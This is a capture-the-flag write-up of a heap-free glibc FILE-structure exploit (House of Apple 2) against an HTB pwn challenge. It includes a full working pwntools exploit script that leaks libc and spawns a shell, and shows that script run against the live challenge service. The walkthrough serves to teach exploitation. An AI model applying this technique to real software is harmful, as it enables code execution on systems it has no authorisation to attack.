HTB Cyber Apocalypse 2026 - The Salt Crown: Pwn / The Emptiness Machine (Medium)

Author: Hubert Feyrer / hubertf - 28.07.2026

A ten-line main calls scanf twice with stdout and stderr as the destination - writing straight into the libc FILE structures. Textbook File Stream Oriented Programming (FSOP), except that the obvious reading of %s makes the challenge look unsolvable. It is not: \0 is not white space. The libc ships with the challenge - Ubuntu GLIBC 2.39-0ubuntu8.7 - and every offset below comes from it.

1. Download

$ ls -la
-rw-r--r--@ 1 feyrer staff 1071526 Jul 28 17:34 a2524370-0760-4c95-bee7-f1cc24518207-1784742024.zip

$ file a2524370-0760-4c95-bee7-f1cc24518207-1784742024.zip
a2524370-0760-4c95-bee7-f1cc24518207-1784742024.zip: Zip archive data, at least v1.0
to extract, compression method=store

$ unzip -l a2524370-0760-4c95-bee7-f1cc24518207-1784742024.zip
  Length      Date    Time    Name
---------  ---------- -----   ----
        0  05-09-2026 04:49   challenge/
    16224  05-09-2026 04:48   challenge/the_emptiness_machine
        0  05-09-2026 04:48   challenge/glibc/
  2125328  05-09-2026 04:48   challenge/glibc/libc.so.6
   236616  05-09-2026 04:48   challenge/glibc/ld-linux-x86-64.so.2
---------                     -------
  2378168                     5 files

$ file challenge/the_emptiness_machine
ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked,
interpreter ./glibc/ld-linux-x86-64.so.2, BuildID[sha1]=567eaaae..., not stripped

PIE with a bundled loader and libc 2.39. The PT_INTERP is the relative path ./glibc/ld-linux-x86-64.so.2, so the binary only starts from inside challenge/.

2. Docker/nc - what we get

The remote is a plain nc-style TCP service. On connect it prints a large Braille-art figure, then two prompts. The prose is set in Unicode mathematical italics - worth noting, because it means strings will not find any of it:

$ printf "AAAA\nBBBB\n" | ./the_emptiness_machine
  [24 lines of Braille art]

[Subdued Voice]: Let you cut me open... Just to watch me bleed..

Rin's interaction: munmap_chunk(): invalid pointer
Aborted

So: one prompt, and feeding it anything ordinary kills the process at exit. That crash is already the whole challenge in miniature - the input landed inside a libc FILE struct and broke it. A clean run offers two prompts:

[Subdued Voice]: Let you cut me open...

Rin's interaction:            <- 40 bytes, into _IO_2_1_stdout_

[Subdued Voice]: Gave up who I am...

Rin's interaction:            <- 224 bytes, into _IO_2_1_stderr_

3. Analysis steps

3.1 Read main (success)

The binary is tiny and not stripped, so decompiling main is the whole recon.

int main(void)
{
    setbuf(stdin,  NULL);
    setbuf(stdout, NULL);
    puts(banner);
    printf("[Subdued Voice]: Let you cut me open...\n\nRin's interaction: ");
    scanf("%40s",  stdout);
    printf("\n[Subdued Voice]: Gave up who I am...\n\nRin's interaction: ");
    scanf("%224s", stderr);
    return 0;
}

stdout and stderr are imported via R_X86_64_COPY, so the binary's .bss holds the pointer value, not the structure:

0000000000004020 R_X86_64_COPY  stdout
0000000000004040 R_X86_64_COPY  stderr

11fc:  mov  0x2e1d(%rip),%rax    # <stdout>
1203:  mov  %rax,%rsi
1206:  lea  0x1530(%rip),%rax    # "%40s"
1215:  call <__isoc99_scanf>

Conclusion: scanf writes directly into the libc FILE structures. 224 == 0xe0 == sizeof(struct _IO_FILE_plus) - one complete FILE struct including the vtable pointer. main returns, exit() runs, _IO_cleanup() -> _IO_flush_all() walks the FILE chain. This is FSOP.

3.2 Pull the libc layout offline - and hit the RELR trap (failed, then fixed)

No debugger is available (see 3.7), so the static initial state of _IO_2_1_stderr_ has to come from parsing libc.so.6. The first relocation parser walked .rela.dyn, filtered R_X86_64_RELATIVE and found zero entries - while the raw .data bytes clearly contained link-time addresses.

.rela.dyn      86 entries (0x810 bytes): {'64': 8, 'TPOFF64': 16,
                                          'GLOB_DAT': 61, 'IRELATIVE': 1}
.rela.plt      61 entries (0x5b8 bytes): {'JUMP_SLOT': 16, 'IRELATIVE': 45}
.relr.dyn      32 qwords (0x100 bytes)
  DT_RELR        0x27290
  DT_RELRSZ      0x100
  DT_RELRENT     0x8

Ubuntu 24.04 links its libc with -z pack-relative-relocs. All relative relocations moved into DT_RELR, a bitmap encoding: an even qword is an address, an odd qword is a bitmap for the next 63 slots.

while i < end:
    e = u64(d, i); i += 8
    if e & 1 == 0:            # even -> address entry
        addrs.append(e); where = e + 8
    else:                     # odd  -> bitmap for the next 63 slots
        for k in range(63):
            if (e >> 1) >> k & 1: addrs.append(where + k*8)
        where += 63*8

That recovers 1067 relocations from 256 bytes - as RELA they would need 1067 x 24 = 25608 bytes.

Conclusion: A tool that only knows .rela.* sees a libc in which every static pointer looks like NULL - i.e. stderr would appear to be a completely unusable FILE object. Decoded correctly, the initial state is sane: _lock = libc+0x205700, _wide_data = libc+0x2036e0, vtable = libc+0x202030. And the key layout fact: _IO_2_1_stdout_ == _IO_2_1_stderr_ + 0xe0 - the two structs sit back to back, so the 224-byte write ends exactly at stdout->_flags.

3.3 Assume %s cannot write NUL bytes (failed)

The obvious objection to the whole approach: a pointer is 0x00007f..., two zero bytes at the top, and %s supposedly cannot store NUL. The only zero byte available would be the terminator scanf appends.

That gives exactly one pointer per scanf call: end the input so the terminator falls on byte 6 of an 8-byte field whose byte 7 is already zero. Everything else in the payload must be non-zero, and therefore cannot be a pointer.

Conclusion: Work out what one pointer can buy. That question turns out to be worth answering even though the premise is wrong.

3.4 What is callable from the vtable section? (failed)

IO_validate_vtable only checks that the vtable pointer lies inside __libc_IO_vtables - not that it points at the start of a vtable, and not that it is aligned. So the window can be slid in 8-byte steps, moving any function pointer in the section into the __overflow slot. That makes the section content the complete menu of callable functions.

_IO_file_{finish,overflow,underflow,xsputn,seekoff,setbuf,sync,
          doallocate,read,write,seek,close,stat}
_IO_wfile_{overflow,underflow,xsputn,seekoff,sync}
_IO_str_{overflow,underflow,pbackfail,seekoff}
_IO_{w,}default_{uflow,pbackfail,xsputn,xsgetn,doallocate}
_IO_proc_close, plus the _mmap / _maybe_mmap variants

Conclusion: No system, no execve, no one-gadget - and nothing that reaches one in a further dereference, because every slot points into .text. So the only place where an attacker-chosen address can enter rip is the one indirection glibc does not validate: _IO_WDOALLOCATE(fp) == fp->_wide_data->_wide_vtable->__doallocate. And that needs three pointers, not one.

3.5 Five attempts to close the gap (all failed)

Three pointers needed, one available. Each of these tries to source the missing ones from somewhere else. All were run in the container; the failure table is reproducible with deadends.py.

$ docker run --rm --platform linux/amd64 -v "$PWD:/work" em python3 -u deadends.py
1  vtable == _wide_data, CURR_PUTTING clear   SIGABRT   Fatal error: glibc detected an invalid stdio
1b vtable == _wide_data, CURR_PUTTING set     SIGABRT   Fatal error: glibc detected an invalid stdio
2  vtable via _vtable_offset, _wide_data ok   exit 1
3  House of Apple 2 (working payload)         shell     SHELL_OK
AttemptWhy it fails
(i) alias the vtable onto _wide_data SIGSEGV: _IO_wfile_overflow writes _wide_data->_IO_write_ptr, i.e. into .data.rel.ro
(ii) keep _wide_data original, spend the pointer on the vtable exit 1: the genuine _IO_wide_data_2 has the genuine _IO_wfile_jumps, so _IO_WDOALLOCATE calls the real _IO_wfile_doallocate. Original _wide_data and control flow are mutually exclusive.
(iii) source a second pointer from stdout new_do_write unconditionally resets stdout+0x08..+0x40 to &_shortbuf after the leak. The only surviving field is _flags, which must keep 0xfbad.... - and a qword with ad fb in bytes 2/3 is never a canonical address.
(iv) fake FILE through _chain needs a valid vtable pointer at fake+0xd8; the only libc addresses holding one put fake on top of a struct whose other fields are not controlled
(v) heap primitives there is a free() of a controlled pointer at exit (that is the munmap_chunk() seen in section 2), but no malloc follows it, and setbuf(stdin, NULL) means stdin never gets a heap buffer either

3.6 The escape hatch that does not exist (failed)

_IO_JUMPS_FUNC does not read the vtable pointer from a fixed fp+0xd8 - it adds _vtable_offset, a signed char at 0x82. That would let the vtable come from anywhere in fp+0x58 ... fp+0x157, freeing up the field that currently costs a pointer. Several variants were built on this.

The test: take the working payload and change nothing except _vtable_offset. If the field is honoured, the vtable is read from fp+0x118 (garbage) and glibc aborts.

$ docker run --rm --platform linux/amd64 -v "$PWD:/work" em python3 -u vtoff_test.py
a  working payload + _vtable_offset = 0x40            shell          SHELL_OK
b  vtable field = _wide_data = _IO_wfile_jumps        SIGSEGV

Conclusion: _vtable_offset is ignored on x86-64. In libioP.h the offset-aware macro is guarded by _IO_JUMPS_OFFSET, set only when the build has SHLIB_COMPAT (libc, GLIBC_2_0, GLIBC_2_1) - x86-64 never had a GLIBC_2.0. Every variant derived from that field was architecturally impossible from the start. This also re-reads the earlier SIGABRTs correctly: those payloads left fp+0xd8 at zero expecting the offset to redirect the read, so the abort was never evidence about wide-data aliasing - it was evidence that the offset field does nothing.

3.7 The resolution: %s stops on white space (success)

At this point the evidence was: one pointer is not enough, none of the five routes closes the gap, and the only unvalidated indirection needs three. So either the challenge is unsolvable, or the premise in 3.3 is wrong.

It was wrong. C99 7.21.6.2: %s matches "a sequence of non-white-space characters". isspace('\0') == 0, so __vfscanf_internal stores the NUL like any other character and keeps reading. The forbidden set is exactly:

0x09 \t   0x0a \n   0x0b \v   0x0c \f   0x0d \r   0x20 ' '

Conclusion: All 224 bytes are freely choosable, NUL included. Three pointers are trivial and House of Apple 2 falls out immediately. The only remaining restriction: none of the leaked libc addresses may contain a white-space byte - with ~15 ASLR-dependent bytes that works out about 70% of the time, so the exploit just reconnects.

3.8 Stage 1 - the libc leak (success)

setbuf(stdout, NULL) leaves every pointer aimed at &stdout->_shortbuf (= stdout+0x83), i.e. zero bytes of room. Send exactly 32 bytes so the terminator lands on offset 0x20 - the least significant byte of _IO_write_base.

_IO_write_base = (&_shortbuf) & ~0xff
_IO_write_ptr  =  &_shortbuf                 (unchanged)

With _flags = 0xfbad1801 the next printf finds no room, calls _IO_OVERFLOW(fp, EOF) and ends in _IO_do_write(f, f->_IO_write_base, f->_IO_write_ptr - f->_IO_write_base). _shortbuf is at stdout+0x83, stdout low byte is 0xc0, so the dump is exactly 0xc0 + 0x83 = 0x43 bytes.

raw leak bytes: 268
00000000  44 56 7b ff ff 7f 00 00  ...   <- stdout->_IO_buf_end
00000028  e0 48 7b ff ff 7f 00 00  ...   <- stdout->_chain = &_IO_2_1_stdin_
00000030  01 00 00 00 00 00 00 00  ...   <- _fileno = 1
00000038  ff ff ff ff ff ff ff ff  ...   <- _old_offset = -1
00000043  0a 5b f0 9d 98 ...             <- prompt starts here

The four flag bits, each load-bearing:

Conclusion: Length 0x43 exactly as predicted, and the field values at +0x00/+0x28/+0x30/+0x38 match - that turns the derivation into a fact. libc base = leak - 0x204644. The prompt follows the dump, so program flow is intact and the leak is inconspicuous.

3.9 Stage 2 - House of Apple 2, and the command string (success)

stderr was never used, so it is still in its static initial state. Rebuild all 224 bytes. The catch: system(fp) is called with rdi = &_IO_2_1_stderr_, so the struct's own first bytes are the command string - and byte 0 is also byte 0 of _flags.

/* _IO_wfile_overflow */
if (f->_flags & _IO_NO_WRITES)      /* 0x08 */ ... return WEOF;
/* _IO_wdoallocbuf */
if (!(fp->_flags & _IO_UNBUFFERED)) /* 0x02 */
    if ((wint_t) _IO_WDOALLOCATE (fp) != WEOF) return;

So the first character must satisfy c & 0x0a == 0. That rules out 's' (0x73 & 0x0a = 0x02), and white space is out anyway, so sh -c "exec sh" is not an option either.

The answer is $0: '$' = 0x24, and 0x24 & 0x0a == 0. This is not the exploited process' argv[0] - it is a shell variable that only exists inside the shell system() spawns. glibc runs execl("/bin/sh", "sh", "-c", command, NULL), and POSIX says that with command_name omitted, $0 is the shell's own name:

$ ls -l /bin/sh
lrwxrwxrwx 1 root root 4 Mar 31  2024 /bin/sh -> dash
$ sh -c 'echo $0'
sh
$ echo id | sh -c '$0'
uid=0(root) gid=0(root) groups=0(root)
$ sh -c 'echo $0' BANANA
BANANA

The third line is the decisive one: the spawned sh reads commands from stdin, i.e. from the socket. _flags ends up as 0x00003024, both critical bits clear.

The fake structures go inside the FILE struct at negative offsets, so no heap is needed:

wide = fp - 0x10   ->  wide+0x18 == fp+0x08   (wd->_IO_write_base = NULL)
                       wide+0x30 == fp+0x20   (wd->_IO_buf_base   = NULL)
                       wide+0xe0 == fp+0xd0   (wd->_wide_vtable)
wvt  = fp - 0x38   ->  wvt +0x68 == fp+0x30   (__doallocate = system)

Conclusion: _IO_flush_all -> _IO_wfile_overflow -> _IO_wdoallocbuf -> fp->_wide_data->_wide_vtable->__doallocate(fp) == system(fp). Two things that bite otherwise: _lock must be a usable lock (_IO_flush_all calls _IO_flockfile first), and the terminator lands on stderr+0xe0 = stdout->_flags - harmless, since stderr is flushed first.

4. Solution

exploit.py:

#!/usr/bin/env python3
"""
The Emptiness Machine -- HTB Salt Crown CTF 2026 (pwn)

Usage:  ./exploit.py                 (local)
        ./exploit.py HOST PORT       (remote)
"""

import os
import sys
from pwn import *

context.arch = 'amd64'
context.log_level = 'error'

CHALLENGE_DIR = os.path.join(os.path.dirname(os.path.abspath(__file__)), 'challenge')
BINARY = './the_emptiness_machine'

# --- offsets in the shipped libc (Ubuntu GLIBC 2.39-0ubuntu8.7) --------
STDERR      = 0x2044e0                 # _IO_2_1_stderr_
STDOUT      = 0x2045c0                 # _IO_2_1_stdout_  == stderr + 0xe0
SHORTBUF    = STDOUT + 0x83            # &_IO_2_1_stdout_._shortbuf
BUF_END     = SHORTBUF + 1             # what stdout->_IO_buf_end holds
WFILE_JUMPS = 0x202228                 # _IO_wfile_jumps
LOCK2       = 0x205700                 # _IO_stdfile_2_lock
SYSTEM      = 0x58750                  # system

# scanf("%s") stops on white space -- these bytes must not appear in a
# payload.  NUL is *not* white space and is perfectly fine.
WHITESPACE = b'\x09\x0a\x0b\x0c\x0d\x20'


def stage1():
    """Exactly 32 bytes: the NUL scanf appends lands on the least
    significant byte of stdout->_IO_write_base, dragging it down to
    (&_shortbuf & ~0xff).  The following printf() therefore emits
    write(1, &_shortbuf & ~0xff, 0x43) before printing the prompt."""
    flags = 0xfbad1801     # MAGIC | USER_BUF | CURRENTLY_PUTTING | IS_APPENDING
    payload = p32(flags) + b'AAAA'      # _flags + padding
    payload += b'B' * 8                 # _IO_read_ptr
    payload += b'C' * 8                 # _IO_read_end
    payload += b'D' * 8                 # _IO_read_base
    assert len(payload) == 32
    return payload


def stage2(libc):
    """Full 224 byte _IO_FILE_plus for _IO_2_1_stderr_ (House of Apple 2).

    _IO_flush_all() -> _IO_wfile_overflow -> _IO_wdoallocbuf
                    -> *(_wide_data->_wide_vtable + 0x68)(fp)
                    == system(fp)   with fp == &_IO_2_1_stderr_
    The first bytes of the struct double as the command string."""
    fp = libc + STDERR
    wide = fp - 0x10          # fake _IO_wide_data:
                              #   +0x18 -> fp+0x08 (write_base, must be NULL)
                              #   +0x30 -> fp+0x20 (buf_base,   must be NULL)
                              #   +0xe0 -> fp+0xd0 (_wide_vtable)
    wvt = fp - 0x38           # fake wide vtable: +0x68 -> fp+0x30

    # 0x00 _flags -- doubles as the command string for system(fp).
    # '$' is 0x24, and 0x24 & 0x0a == 0, so neither _IO_UNBUFFERED (0x02)
    # nor _IO_NO_WRITES (0x08) ends up set.  's' (0x73) would set 0x02.
    p  = b'$0\x00' + b'\x00' * 5
    p += p64(0)                     # 0x08 _IO_read_ptr   -> wd->_IO_write_base
    p += p64(0)                     # 0x10 _IO_read_end
    p += p64(0)                     # 0x18 _IO_read_base
    p += p64(0)                     # 0x20 _IO_write_base -> wd->_IO_buf_base
    p += p64(1)                     # 0x28 _IO_write_ptr  > _IO_write_base
    p += p64(libc + SYSTEM)         # 0x30 _IO_write_end  -> __doallocate slot
    p += p64(0) * 10                # 0x38 .. 0x80
    p += p64(libc + LOCK2)          # 0x88 _lock (real lock, keeps flockfile happy)
    p += p64(0)                     # 0x90 _offset
    p += p64(0)                     # 0x98 _codecvt
    p += p64(wide)                  # 0xa0 _wide_data
    p += p64(0) * 3                 # 0xa8 _freeres_list / _freeres_buf / _prevchain
    p += p64(0)                     # 0xc0 _mode = 0  (needed: _mode <= 0)
    p += p64(0)                     # 0xc8 _unused2
    p += p64(wvt)                   # 0xd0 -> wd->_wide_vtable
    p += p64(libc + WFILE_JUMPS)    # 0xd8 vtable
    assert len(p) == 224, len(p)
    return p


def attempt(target, timeout=10):
    io = (remote(*target, timeout=timeout) if target
          else process(BINARY, cwd=CHALLENGE_DIR))
    io.newline = b'\n'
    try:
        io.recvuntil(b"Rin's interaction: ", timeout=timeout)
        io.sendline(stage1())
        leak = io.recvuntil(b"Rin's interaction: ", drop=True, timeout=timeout)
        if len(leak) < 8:
            return 'no leak (service dead or banner changed?)', None
        libc = u64(leak[:8]) - BUF_END
        if libc & 0xfff:
            return 'leak not page aligned: %#x' % libc, None
        payload = stage2(libc)
        bad = sorted({c for c in payload} & set(WHITESPACE))
        if bad:
            return 'white space in payload (%s), retry' % bad, libc
        io.sendline(payload)
        io.sendline(b'cat flag* 2>/dev/null; cat /flag* 2>/dev/null')
        return io.recvrepeat(3), libc
    except (EOFError, PwnlibException) as exc:
        return '%s: %s' % (type(exc).__name__, exc), None
    finally:
        io.close()


def main():
    target = (sys.argv[1], int(sys.argv[2])) if len(sys.argv) > 2 else None
    print('[*] target: %s' % ('%s:%d' % target if target else BINARY))
    for i in range(30):
        result, libc = attempt(target)
        if isinstance(result, bytes) and b'HTB{' in result:
            print('[+] libc base: %#x' % libc)
            print(result.decode('latin1').strip())
            return 0
        if isinstance(result, bytes):
            result = 'shell did not answer: %r' % result[:60]
        print('[-] attempt %d: %s%s'
              % (i, result, '' if libc is None else ' (libc %#x)' % libc))
    print('[!] gave up')
    return 1


if __name__ == '__main__':
    sys.exit(main())

Two supporting scripts reproduce the failed steps: deadends.py (the failure table from 3.5) and vtoff_test.py (the _vtable_offset experiment from 3.6).

5. Run it

Host is arm64 macOS, target is x86-64, so everything runs in an amd64 container:

FROM --platform=linux/amd64 ubuntu:24.04
RUN apt-get update && \
    DEBIAN_FRONTEND=noninteractive apt-get install -y --no-install-recommends \
        gdb python3 python3-pip python3-venv file strace socat ca-certificates && \
    rm -rf /var/lib/apt/lists/*
RUN python3 -m venv /venv && /venv/bin/pip install --no-cache-dir pwntools
ENV PATH=/venv/bin:$PATH
WORKDIR /work
$ docker build --platform linux/amd64 -t em .

Locally, against the shipped binary:

$ docker run --rm --platform linux/amd64 -v "$PWD:/work" em \
      sh -c 'echo "HTB{local_test_flag}" > challenge/flag.txt; python3 -u exploit.py'
[*] target: ./the_emptiness_machine
[+] libc base: 0x7fffff5b1000
HTB{local_test_flag}

And against the live service:

$ ./exploit.py 154.57.164.71 31192
[*] target: 154.57.164.71:31192
[+] libc base: 0x7f6bad3d5000
HTB{f4ll1ng_4_th3_pr0m1s3_0f_th3_3mptin355_m4ch1ne :)_9f4aeae0635f0331cb4624516a247878}

Roughly 30% of connections produce a libc base whose bytes contain white space somewhere in the payload; the exploit detects that before sending and reconnects, up to 30 times.

Flag

HTB{f4ll1ng_4_th3_pr0m1s3_0f_th3_3mptin355_m4ch1ne :)_9f4aeae0635f0331cb4624516a247878}

6. Summary of how the exploit works

#StageMechanism
1The bug scanf("%40s", stdout) and scanf("%224s", stderr) write into the libc FILE structs, because R_X86_64_COPY puts the pointer value in .bss. 224 bytes is one complete _IO_FILE_plus.
2The key insight %s stops on white space, and \0 is not white space. All 224 bytes are freely choosable, so pointers can be written.
3Leak Send exactly 32 bytes so the terminator zeroes the low byte of stdout->_IO_write_base. The next printf flushes 0x43 bytes of _IO_2_1_stdout_ to fd 1; the first qword is _IO_buf_end, giving the libc base.
4FSOP Rebuild _IO_2_1_stderr_ completely. At exit(), _IO_flush_all reaches _IO_wfile_overflow -> _IO_wdoallocbuf -> _wide_data->_wide_vtable->__doallocate(fp) - the one indirect call glibc does not validate.
5No heap needed The fake _IO_wide_data and fake wide vtable are laid into the FILE struct itself at negative offsets (fp-0x10, fp-0x38), which works because the struct's address is known after the leak.
6Shell system(fp) with fp pointing at _flags, so the struct's first bytes are the command. $0 passes the flag-bit constraint c & 0x0a == 0 and expands to sh, which then reads commands from the socket.

Lessons learned

  1. scanf("%s") can write NUL bytes. \0 is not white space; only \t \n \v \f \r ' ' terminate the conversion. That is the whole core of the challenge.
  2. R_X86_64_COPY on stdout/stderr means the .bss holds the pointer, so scanf(fmt, stdout) writes into libc, not into the binary.
  3. A partial overwrite of _IO_write_base is enough for a leak - the terminator alone zeroes the least significant byte. Do not forget the magic (0xfbad0000), or printf stays silent.
  4. House of Apple 2 needs no heap: the fake structures fit inside the FILE struct itself at negative offsets.
  5. _vtable_offset is dead weight on x86-64. A whole line of reasoning was built on it before measuring that it is ignored.
  6. Ubuntu 24.04's libc uses RELR. A relocation parser that only knows .rela.* reports every static pointer as NULL.

What the setup could not do

gdb cannot attach under the emulation (PTRACE_GETREGS: Input/output error), and --cap-add SYS_PTRACE --security-opt seccomp=unconfined does not help, because the limitation is in the binary translation layer. No breakpoints, no single-stepping, no reading _IO_2_1_stderr_ at runtime - which is why the offline libc.so.6 parsing in step 3.2 mattered as much as it did. Failures could only be classified by exit signal plus whatever glibc printed: SIGABRT + "invalid stdio handle" points at _IO_vtable_check, SIGSEGV at a bad dereference, munmap_chunk() at free(). That is indirect evidence, and it is exactly why the _vtable_offset misreading survived as long as it did - the first abort looked like it confirmed the model. The differential experiment in 3.6 - change one byte in a known-good payload, see whether the outcome changes - is the technique that replaced the debugger.